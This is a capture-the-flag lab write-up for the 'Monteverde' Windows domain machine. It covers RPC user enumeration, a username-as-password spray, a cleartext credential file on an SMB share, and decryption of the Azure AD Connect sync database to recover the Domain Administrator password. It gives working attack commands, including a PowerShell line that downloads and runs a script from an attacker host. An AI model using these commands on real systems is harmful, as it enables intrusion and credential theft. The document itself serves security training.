Monteverde

Jun 22, 2026 Medium

Introduction

Monteverde is a medium Windows machine that tells a very modern story: a company running Azure AD Connect to sync their on-prem Active Directory to the cloud, and the on-prem account that does the syncing ends up being the thing that gets them owned.

The chain is clean. A null RPC session leaks the full user list. Because the domain has no account lockout, we can safely spray, and one account uses its own name as its password. That foothold can read an SMB share where an admin left an azure.xml credential file in cleartext, which gives us a WinRM shell as mhope. From there the privesc is the whole point of the box: mhope belongs to the Azure Admins group, so it can reach the local Azure AD Connect (ADSync) database, and that database stores the sync account’s password encrypted with keys we are allowed to read. Decrypt it and it hands back the Domain Administrator password.

It is a great box for internalising two lessons: usernames are passwords more often than they should be, and Azure AD Connect is a domain-privilege time bomb.

Enumeration

As always with AD, I put the domain in /etc/hosts first.

BASH
echo "<target_ip>  megabank.local monteverde.megabank.local MONTEVERDE" | sudo tee -a /etc/hosts

Service Discovery

BASH
sudo nmap megabank.local -T4 --min-rate 3500 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oN scans/service-scan.nmap
BASH
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: MONTEVERDE; OS: Windows

The usual domain controller fingerprint for MEGABANK.LOCAL, running Windows Server 2019 (build 17763). WinRM (5985) is open, so if I can find any credential, I probably get a shell straight away.

Enumerating over RPC

SMB would not give me a null session for shares, and the guest/anonymous accounts were dead ends. But an unauthenticated RPC session worked, which is enough to pull the whole user list. I used enum4linux-ng and confirmed with rpcclient.

BASH
rpcclient -U '' megabank.local -N
rpcclient $> enumdomusers
user:[Guest]            rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope]            rid:[0x641]
user:[SABatchJobs]      rid:[0xa2a]
user:[svc-ata]          rid:[0xa2b]
user:[svc-bexec]        rid:[0xa2c]
user:[svc-netapp]       rid:[0xa2d]
user:[dgalanos]         rid:[0xa35]
user:[roleary]          rid:[0xa36]
user:[smorgan]          rid:[0xa37]

Two accounts stand out immediately:

  • AAD_987d7f2f57d2 — its description spells out the whole endgame: “Service account for the Synchronization Service … running on computer MONTEVERDE.” That is the Azure AD Connect sync account. Note it now; it is why this box exists.
  • SABatchJobs — a batch/service account whose name screams “weak password”.

Before spraying anything, I checked the domain password policy over RPC. This is the single most important pre-spray check:

TEXT
Domain lockout information:
  Lockout threshold: None

Lockout threshold: None means I can spray as much as I want without locking anyone out. That green light matters.

LDAP deep-dive (a documented dead end)

With RPC giving me names, I also enumerated every user over LDAP, specifically hunting for a cleartext password stashed in a description or info field, which is a classic AD misconfiguration.

BASH
ldapsearch -x -H ldap://<target_ip> -b "DC=MEGABANK,DC=LOCAL" "(objectClass=user)"

No plaintext creds came out of LDAP. It was the right thing to try and it saved me from assuming, but the win was not here. The one detail worth keeping was mhope’s group membership, which becomes relevant only after we get a shell:

TEXT
dn: CN=Mike Hope,OU=London,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL
memberOf: CN=Azure Admins,OU=Groups,DC=MEGABANK,DC=LOCAL
memberOf: CN=Remote Management Users,CN=Builtin,DC=MEGABANK,DC=LOCAL

mhope is in Remote Management Users (so, WinRM-capable) and in Azure Admins. File the second one away for privesc.

Foothold

Password spray: usernames as passwords

With lockout disabled and a clean user list, the cheapest attack in AD is to try every username as its own password. NetExec does this in one line by feeding the same file to -u and -p.

BASH
nxc smb megabank.local -u users.txt -p users.txt --continue-on-success
...
SMB  <target_ip>  445  MONTEVERDE  [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB  <target_ip>  445  MONTEVERDE  [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs

One hit: SABatchJobs:SABatchJobs.

Looting the Azure AD Connect password from SMB

SABatchJobs is low-priv, but authenticated SMB gives us shares that the null session did not. I listed them with the new credential.

BASH
nxc smb megabank.local -u SABatchJobs -p SABatchJobs --shares
...
Share           Permissions     Remark
azure_uploads   READ
users$          READ

users$ is a share of user home directories. Browsing into mhope’s folder turned up a file that should never sit on a readable share: azure.xml.

BASH
smbclient //megabank.local/users$ -U 'SABatchJobs%SABatchJobs' -c "cd mhope; get azure.xml"

It is a serialized PowerShell PSADPasswordCredential object, and the password is right there in cleartext:

XML
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
...
<S N="Password">4n0therD4y@n0th3r$</S>

That gives us mhope:4n0therD4y@n0th3r$.

WinRM shell as mhope

mhope was in Remote Management Users, so the credential is a shell.

BASH
evil-winrm -i <target_ip> -u mhope -p '4n0therD4y@n0th3r$'

That is our foothold and the user flag.

Privilege Escalation — Azure AD Connect (ADSync)

This is the reason mhope’s Azure Admins membership mattered. Azure AD Connect runs a local ADSync service that synchronises on-prem AD to Azure. To do that it needs an account with high privileges, and it stores that account’s credentials encrypted in a local SQL Server (LocalDB) database. The catch: the decryption keys live in the same database, readable by the account running the sync tooling. So anyone who can reach that DB can recover the sync credentials, and on Monteverde those credentials belong to the Domain Administrator.

The technique comes from Adam Chester’s (xpnsec) research on abusing Azure AD Connect. The practical steps: on the box, connect to the ADSync database, pull the encrypted config plus the key material, and let the mcrypt DLL decrypt it back to a plaintext username and password.

I pulled the extraction script onto the target from my Evil-WinRM session and ran it.

POWERSHELL
# From the mhope Evil-WinRM shell
IEX(New-Object Net.WebClient).DownloadString('http://<attacker_ip>/azuread_decrypt_msol.ps1')

The script opens the local database, decrypts the stored credential, and prints it:

TEXT
AD Connect Sync Credential Extract
Domain:   MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

The sync account here is the Domain Administrator. No cracking, no further pivot: it is a direct credential.

BASH
evil-winrm -i <target_ip> -u administrator -p 'd0m@in4dminyeah!'

*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
megabank\administrator

Machine rooted.

Attack Chain Recap

TEXT
null RPC session (rpcclient / enum4linux-ng)  ->  10 domain users + "Azure AD Connect sync account" hint
password policy                               ->  Lockout threshold: None (safe to spray)
nxc smb -u users.txt -p users.txt             ->  SABatchJobs:SABatchJobs
nxc --shares as SABatchJobs                   ->  READ on users$
users$\mhope\azure.xml                        ->  mhope:4n0therD4y@n0th3r$ (cleartext)
evil-winrm as mhope                           ->  foothold + user flag  (member of Azure Admins)
ADSync database decrypt (xpnsec technique)    ->  administrator:d0m@in4dminyeah!
evil-winrm as administrator                   ->  Domain Admin

Key takeaways

  • Check the lockout policy before you spray. Lockout threshold: None turns password spraying from risky to free. If it were set, you would spray one password across all users per window instead.
  • Username-as-password is a real attack. Feeding the user list to both -u and -p in NetExec is a five-second test that owns service accounts constantly.
  • Read every readable share as each new user. The whole foothold was a cleartext password in azure.xml sitting on users$, invisible to the null session but readable to SABatchJobs.
  • Azure AD Connect is a domain-tier secret. Any host running ADSync stores credentials that are usually Domain Admin or DCSync-capable. Membership in a group like Azure Admins is effectively a path to the whole domain.

References